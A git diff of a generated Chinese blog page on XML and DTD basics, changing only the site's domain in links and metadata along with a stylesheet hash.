o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/17/index.html b/posts/17/index.html
index 652802ff..a43fe77a 100644
--- a/posts/17/index.html
+++ b/posts/17/index.html
@@ -34,8 +34,8 @@
 REQUIRED // 表示这个元素的这个属性是必须的
 IMPLIED // 表示这个元素可以包含这个属性，也可以不包含
 FIXED // 表示这个固定的属性默认值，不能将该属性的值设置为其他值，使用该说明时还需要提供一个默认值，如果XML没有定义该属性，那么其值就被自动设置为DTD定义的默认值
-默认值 // 和FIXED一样，不同的是，这个属性的值可以改变，如果在xml文档中设置了新的值，那么新的值会覆盖DTD定义的默认值"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/17/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="XML学习笔记"><meta property="og:description" content="xml中文全称为可扩展标记语言（Extensible Markup Language）
+默认值 // 和FIXED一样，不同的是，这个属性的值可以改变，如果在xml文档中设置了新的值，那么新的值会覆盖DTD定义的默认值"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/17/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="XML学习笔记"><meta property="og:description" content="xml中文全称为可扩展标记语言（Extensible Markup Language）
 xml和html类似，但是xml是用来传输和存储数据的，xml大小写敏感，xml的标记是自定义的
 xml声明，该声明位在xml文档的第一行，结尾
 version属性表示xml的版本，encoding属性表示该xml文档的编码方式，standalone属性表示该文档是否为独立，no表示依赖于外部文档
@@ -71,7 +71,7 @@
 REQUIRED // 表示这个元素的这个属性是必须的
 IMPLIED // 表示这个元素可以包含这个属性，也可以不包含
 FIXED // 表示这个固定的属性默认值，不能将该属性的值设置为其他值，使用该说明时还需要提供一个默认值，如果XML没有定义该属性，那么其值就被自动设置为DTD定义的默认值
-默认值 // 和FIXED一样，不同的是，这个属性的值可以改变，如果在xml文档中设置了新的值，那么新的值会覆盖DTD定义的默认值"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/17/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T09:32:00+00:00"><meta property="article:modified_time" content="2021-06-16T09:32:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="XML学习笔记"><meta name=twitter:description content="xml中文全称为可扩展标记语言（Extensible Markup Language）
+默认值 // 和FIXED一样，不同的是，这个属性的值可以改变，如果在xml文档中设置了新的值，那么新的值会覆盖DTD定义的默认值"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/17/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T09:32:00+00:00"><meta property="article:modified_time" content="2021-06-16T09:32:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="XML学习笔记"><meta name=twitter:description content="xml中文全称为可扩展标记语言（Extensible Markup Language）
 xml和html类似，但是xml是用来传输和存储数据的，xml大小写敏感，xml的标记是自定义的
 xml声明，该声明位在xml文档的第一行，结尾
 version属性表示xml的版本，encoding属性表示该xml文档的编码方式，standalone属性表示该文档是否为独立，no表示依赖于外部文档
@@ -107,14 +107,14 @@
 REQUIRED // 表示这个元素的这个属性是必须的
 IMPLIED // 表示这个元素可以包含这个属性，也可以不包含
 FIXED // 表示这个固定的属性默认值，不能将该属性的值设置为其他值，使用该说明时还需要提供一个默认值，如果XML没有定义该属性，那么其值就被自动设置为DTD定义的默认值
-默认值 // 和FIXED一样，不同的是，这个属性的值可以改变，如果在xml文档中设置了新的值，那么新的值会覆盖DTD定义的默认值"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"XML学习笔记","item":"https://xiaochenabc123.github.io/posts/17/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"XML学习笔记","name":"XML学习笔记","description":"xml中文全称为可扩展标记语言（Extensible Markup Language）\nxml和html类似，但是xml是用来传输和存储数据的，xml大小写敏感，xml的标记是自定义的\nxml声明，该声明位在xml文档的第一行，结尾\nversion属性表示xml的版本，encoding属性表示该xml文档的编码方式，standalone属性表示该文档是否为独立，no表示依赖于外部文档\nxml的标记也可以像html一样，认为是元素，一般由开始标签，属性，内容，结束标签组成，例如xml\n和就是xml文档中的标签（元素），和html一样，可以嵌套n个子元素，如果一个元素没有被嵌套到其他元素上，那么这个元素就是根元素\n一般来说一个格式良好的xml文档只有一个根元素，而且根元素是xml文档的第一个元素，如果一个元素没有嵌套子元素也没有内容，那么这个元素为空元素，空元素不需要结束标签，例如\n属性是元素的描述和说明，可以使用多个属性，每个属性都有自己名称和值，值用\u0026quot;\u0026ldquo;或者\u0026rsquo;\u0026lsquo;包起来\nxml的注释方式和html一样，\nDTD约束\nXML是自定义标签，浏览器不知道这个标签是用来干什么的，因此制定的一套约束，遵循一定的语法\nDTD约束写在一个DTD文件里，dtd导入，例如：\n如果导入了本地的DTD文档，那么standalone属性的值不能为yes\nDTD除了导入外，还可以内嵌，例如\n元素内容包括元素的声明，包括数据类型和符号\nPCDATA 中文意思就是被解析的字符数据，会被解析器解析\n子元素 例如\n空元素 一般用来定义空元素\nANY 表示这个元素没有包含任何字符数据和子元素，例如，在实际开发中，尽量不要使用ANY，除了根元素外，其他使用ANY的元素会失去DTD对XML的约束\n符号\n问号?:表示该对象可以出现0次或者1次 星号*:表示该对象可以出现0次或者多次 加号+:表示该对象可以出现1次或者多次 竖线|:表示在列出的对象中选择一个 逗号,:表现对象必须按照指定的顺序出现 括号():用于给元素进行分组\nDTD除了给定义元素外，也可以为元素定义属性\n属性类型指定该属性是属性哪个类型的，属性说明一般用来说明该属性是否必须出现\n属性类型\nCDTATA // 表示属性类型为字符数据，如果想在属性设置值中出现特殊符号（例如\u0026lt;），那么需要使用其转义字符序列来表示，例如 \u0026ldquo;\u0026lt;\u0026ldquo;来表示\u0026rdquo;\u0026lt;\u0026rdquo;\nEnumerated(枚举类型) // 在声明一个属性时，可以限制该属性的取值只能从一个列表中选择，但是在DTD文档中不会出现Enumerated关键字，用法例如：\nID // 表示该属性类型为唯一标识，一个元素只能有一个id类型的属性，而且属性说明必须为REQUIRED或者IMPLIED\nIDREF和IDREFS // 一般用来关联元素与元素之间的关系，而且IDREF类型的属性的值必须为一个已经存在的ID类型的属性值，例如：\n1 2\n说明ID为01和02的元素之间，存在关联\nIDREFS就是引用多个ID类型的属性值，例如：\n1\n属性说明\nREQUIRED // 表示这个元素的这个属性是必须的\nIMPLIED // 表示这个元素可以包含这个属性，也可以不包含\nFIXED // 表示这个固定的属性默认值，不能将该属性的值设置为其他值，使用该说明时还需要提供一个默认值，如果XML没有定义该属性，那么其值就被自动设置为DTD定义的默认值\n默认值 // 和FIXED一样，不同的是，这个属性的值可以改变，如果在xml文档中设置了新的值，那么新的值会覆盖DTD定义的默认值","keywords":["xml"],"articleBody":"xml中文全称为可扩展标记语言（Extensible Markup Language）\nxml和html类似，但是xml是用来传输和存储数据的，xml大小写敏感，xml的标记是自定义的\nxml声明，该声明位在xml文档的第一行，结尾\nversion属性表示xml的版本，encoding属性表示该xml文档的编码方式，standalone属性表示该文档是否为独立，no表示依赖于外部文档\nxml的标记也可以像html一样，认为是元素，一般由开始标签，属性，内容，结束标签组成，例如xml\n和就是xml文档中的标签（元素），和html一样，可以嵌套n个子元素，如果一个元素没有被嵌套到其他元素上，那么这个元素就是根元素\n一般来说一个格式良好的xml文档只有一个根元素，而且根元素是xml文档的第一个元素，如果一个元素没有嵌套子元素也没有内容，那么这个元素为空元素，空元素不需要结束标签，例如\n属性是元素的描述和说明，可以使用多个属性，每个属性都有自己名称和值，值用\"“或者’‘包起来\nxml的注释方式和html一样，\nDTD约束\nXML是自定义标签，浏览器不知道这个标签是用来干什么的，因此制定的一套约束，遵循一定的语法\nDTD约束写在一个DTD文件里，dtd导入，例如：\n如果导入了本地的DTD文档，那么standalone属性的值不能为yes\nDTD除了导入外，还可以内嵌，例如\n元素内容包括元素的声明，包括数据类型和符号\nPCDATA 中文意思就是被解析的字符数据，会被解析器解析\n子元素 例如\n空元素 一般用来定义空元素\nANY 表示这个元素没有包含任何字符数据和子元素，例如，在实际开发中，尽量不要使用ANY，除了根元素外，其他使用ANY的元素会失去DTD对XML的约束\n符号\n问号?:表示该对象可以出现0次或者1次 星号*:表示该对象可以出现0次或者多次 加号+:表示该对象可以出现1次或者多次 竖线|:表示在列出的对象中选择一个 逗号,:表现对象必须按照指定的顺序出现 括号():用于给元素进行分组\nDTD除了给定义元素外，也可以为元素定义属性\n属性类型指定该属性是属性哪个类型的，属性说明一般用来说明该属性是否必须出现\n属性类型\nCDTATA // 表示属性类型为字符数据，如果想在属性设置值中出现特殊符号（例如\u003c），那么需要使用其转义字符序列来表示，例如 “\u003c“来表示”\u003c”\nEnumerated(枚举类型) // 在声明一个属性时，可以限制该属性的取值只能从一个列表中选择，但是在DTD文档中不会出现Enumerated关键字，用法例如：\nID // 表示该属性类型为唯一标识，一个元素只能有一个id类型的属性，而且属性说明必须为REQUIRED或者IMPLIED\nIDREF和IDREFS // 一般用来关联元素与元素之间的关系，而且IDREF类型的属性的值必须为一个已经存在的ID类型的属性值，例如：\n1 2\n说明ID为01和02的元素之间，存在关联\nIDREFS就是引用多个ID类型的属性值，例如：\n1\n属性说明\nREQUIRED // 表示这个元素的这个属性是必须的\nIMPLIED // 表示这个元素可以包含这个属性，也可以不包含\nFIXED // 表示这个固定的属性默认值，不能将该属性的值设置为其他值，使用该说明时还需要提供一个默认值，如果XML没有定义该属性，那么其值就被自动设置为DTD定义的默认值\n默认值 // 和FIXED一样，不同的是，这个属性的值可以改变，如果在xml文档中设置了新的值，那么新的值会覆盖DTD定义的默认值\n","wordCount":"66","inLanguage":"en","datePublished":"2021-06-16T09:32:00Z","dateModified":"2021-06-16T09:32:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/17/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>XML学习笔记</h1><div class=post-meta><span title='2021-06-16 09:32:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/XML%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>xml中文全称为可扩展标记语言（Extensible Markup Language）</p><p>xml和html类似，但是xml是用来传输和存储数据的，xml大小写敏感，xml的标记是自定义的</p><p>xml声明，该声明位在xml文档的第一行，结尾</p><p>version属性表示xml的版本，encoding属性表示该xml文档的编码方式，standalone属性表示该文档是否为独立，no表示依赖于外部文档</p><p>xml的标记也可以像html一样，认为是元素，一般由开始标签，属性，内容，结束标签组成，例如xml</p><p>和就是xml文档中的标签（元素），和html一样，可以嵌套n个子元素，如果一个元素没有被嵌套到其他元素上，那么这个元素就是根元素</p><p>一般来说一个格式良好的xml文档只有一个根元素，而且根元素是xml文档的第一个元素，如果一个元素没有嵌套子元素也没有内容，那么这个元素为空元素，空元素不需要结束标签，例如</p><p>属性是元素的描述和说明，可以使用多个属性，每个属性都有自己名称和值，值用"&ldquo;或者&rsquo;&lsquo;包起来</p><p>xml的注释方式和html一样，</p><p>DTD约束</p><p>XML是自定义标签，浏览器不知道这个标签是用来干什么的，因此制定的一套约束，遵循一定的语法</p><p>DTD约束写在一个DTD文件里，dtd导入，例如：</p><p>如果导入了本地的DTD文档，那么standalone属性的值不能为yes</p><p>DTD除了导入外，还可以内嵌，例如</p><p>元素内容包括元素的声明，包括数据类型和符号</p><p>PCDATA 中文意思就是被解析的字符数据，会被解析器解析</p><p>子元素 例如</p><p>空元素 一般用来定义空元素</p><p>ANY 表示这个元素没有包含任何字符数据和子元素，例如，在实际开发中，尽量不要使用ANY，除了根元素外，其他使用ANY的元素会失去DTD对XML的约束</p><p>符号</p><p>问号?:表示该对象可以出现0次或者1次
+默认值 // 和FIXED一样，不同的是，这个属性的值可以改变，如果在xml文档中设置了新的值，那么新的值会覆盖DTD定义的默认值"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"XML学习笔记","item":"https://chenjunlinabc.github.io/posts/17/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"XML学习笔记","name":"XML学习笔记","description":"xml中文全称为可扩展标记语言（Extensible Markup Language）\nxml和html类似，但是xml是用来传输和存储数据的，xml大小写敏感，xml的标记是自定义的\nxml声明，该声明位在xml文档的第一行，结尾\nversion属性表示xml的版本，encoding属性表示该xml文档的编码方式，standalone属性表示该文档是否为独立，no表示依赖于外部文档\nxml的标记也可以像html一样，认为是元素，一般由开始标签，属性，内容，结束标签组成，例如xml\n和就是xml文档中的标签（元素），和html一样，可以嵌套n个子元素，如果一个元素没有被嵌套到其他元素上，那么这个元素就是根元素\n一般来说一个格式良好的xml文档只有一个根元素，而且根元素是xml文档的第一个元素，如果一个元素没有嵌套子元素也没有内容，那么这个元素为空元素，空元素不需要结束标签，例如\n属性是元素的描述和说明，可以使用多个属性，每个属性都有自己名称和值，值用\u0026quot;\u0026ldquo;或者\u0026rsquo;\u0026lsquo;包起来\nxml的注释方式和html一样，\nDTD约束\nXML是自定义标签，浏览器不知道这个标签是用来干什么的，因此制定的一套约束，遵循一定的语法\nDTD约束写在一个DTD文件里，dtd导入，例如：\n如果导入了本地的DTD文档，那么standalone属性的值不能为yes\nDTD除了导入外，还可以内嵌，例如\n元素内容包括元素的声明，包括数据类型和符号\nPCDATA 中文意思就是被解析的字符数据，会被解析器解析\n子元素 例如\n空元素 一般用来定义空元素\nANY 表示这个元素没有包含任何字符数据和子元素，例如，在实际开发中，尽量不要使用ANY，除了根元素外，其他使用ANY的元素会失去DTD对XML的约束\n符号\n问号?:表示该对象可以出现0次或者1次 星号*:表示该对象可以出现0次或者多次 加号+:表示该对象可以出现1次或者多次 竖线|:表示在列出的对象中选择一个 逗号,:表现对象必须按照指定的顺序出现 括号():用于给元素进行分组\nDTD除了给定义元素外，也可以为元素定义属性\n属性类型指定该属性是属性哪个类型的，属性说明一般用来说明该属性是否必须出现\n属性类型\nCDTATA // 表示属性类型为字符数据，如果想在属性设置值中出现特殊符号（例如\u0026lt;），那么需要使用其转义字符序列来表示，例如 \u0026ldquo;\u0026lt;\u0026ldquo;来表示\u0026rdquo;\u0026lt;\u0026rdquo;\nEnumerated(枚举类型) // 在声明一个属性时，可以限制该属性的取值只能从一个列表中选择，但是在DTD文档中不会出现Enumerated关键字，用法例如：\nID // 表示该属性类型为唯一标识，一个元素只能有一个id类型的属性，而且属性说明必须为REQUIRED或者IMPLIED\nIDREF和IDREFS // 一般用来关联元素与元素之间的关系，而且IDREF类型的属性的值必须为一个已经存在的ID类型的属性值，例如：\n1 2\n说明ID为01和02的元素之间，存在关联\nIDREFS就是引用多个ID类型的属性值，例如：\n1\n属性说明\nREQUIRED // 表示这个元素的这个属性是必须的\nIMPLIED // 表示这个元素可以包含这个属性，也可以不包含\nFIXED // 表示这个固定的属性默认值，不能将该属性的值设置为其他值，使用该说明时还需要提供一个默认值，如果XML没有定义该属性，那么其值就被自动设置为DTD定义的默认值\n默认值 // 和FIXED一样，不同的是，这个属性的值可以改变，如果在xml文档中设置了新的值，那么新的值会覆盖DTD定义的默认值","keywords":["xml"],"articleBody":"xml中文全称为可扩展标记语言（Extensible Markup Language）\nxml和html类似，但是xml是用来传输和存储数据的，xml大小写敏感，xml的标记是自定义的\nxml声明，该声明位在xml文档的第一行，结尾\nversion属性表示xml的版本，encoding属性表示该xml文档的编码方式，standalone属性表示该文档是否为独立，no表示依赖于外部文档\nxml的标记也可以像html一样，认为是元素，一般由开始标签，属性，内容，结束标签组成，例如xml\n和就是xml文档中的标签（元素），和html一样，可以嵌套n个子元素，如果一个元素没有被嵌套到其他元素上，那么这个元素就是根元素\n一般来说一个格式良好的xml文档只有一个根元素，而且根元素是xml文档的第一个元素，如果一个元素没有嵌套子元素也没有内容，那么这个元素为空元素，空元素不需要结束标签，例如\n属性是元素的描述和说明，可以使用多个属性，每个属性都有自己名称和值，值用\"“或者’‘包起来\nxml的注释方式和html一样，\nDTD约束\nXML是自定义标签，浏览器不知道这个标签是用来干什么的，因此制定的一套约束，遵循一定的语法\nDTD约束写在一个DTD文件里，dtd导入，例如：\n如果导入了本地的DTD文档，那么standalone属性的值不能为yes\nDTD除了导入外，还可以内嵌，例如\n元素内容包括元素的声明，包括数据类型和符号\nPCDATA 中文意思就是被解析的字符数据，会被解析器解析\n子元素 例如\n空元素 一般用来定义空元素\nANY 表示这个元素没有包含任何字符数据和子元素，例如，在实际开发中，尽量不要使用ANY，除了根元素外，其他使用ANY的元素会失去DTD对XML的约束\n符号\n问号?:表示该对象可以出现0次或者1次 星号*:表示该对象可以出现0次或者多次 加号+:表示该对象可以出现1次或者多次 竖线|:表示在列出的对象中选择一个 逗号,:表现对象必须按照指定的顺序出现 括号():用于给元素进行分组\nDTD除了给定义元素外，也可以为元素定义属性\n属性类型指定该属性是属性哪个类型的，属性说明一般用来说明该属性是否必须出现\n属性类型\nCDTATA // 表示属性类型为字符数据，如果想在属性设置值中出现特殊符号（例如\u003c），那么需要使用其转义字符序列来表示，例如 “\u003c“来表示”\u003c”\nEnumerated(枚举类型) // 在声明一个属性时，可以限制该属性的取值只能从一个列表中选择，但是在DTD文档中不会出现Enumerated关键字，用法例如：\nID // 表示该属性类型为唯一标识，一个元素只能有一个id类型的属性，而且属性说明必须为REQUIRED或者IMPLIED\nIDREF和IDREFS // 一般用来关联元素与元素之间的关系，而且IDREF类型的属性的值必须为一个已经存在的ID类型的属性值，例如：\n1 2\n说明ID为01和02的元素之间，存在关联\nIDREFS就是引用多个ID类型的属性值，例如：\n1\n属性说明\nREQUIRED // 表示这个元素的这个属性是必须的\nIMPLIED // 表示这个元素可以包含这个属性，也可以不包含\nFIXED // 表示这个固定的属性默认值，不能将该属性的值设置为其他值，使用该说明时还需要提供一个默认值，如果XML没有定义该属性，那么其值就被自动设置为DTD定义的默认值\n默认值 // 和FIXED一样，不同的是，这个属性的值可以改变，如果在xml文档中设置了新的值，那么新的值会覆盖DTD定义的默认值\n","wordCount":"66","inLanguage":"en","datePublished":"2021-06-16T09:32:00Z","dateModified":"2021-06-16T09:32:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/17/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>XML学习笔记</h1><div class=post-meta><span title='2021-06-16 09:32:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/XML%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>xml中文全称为可扩展标记语言（Extensible Markup 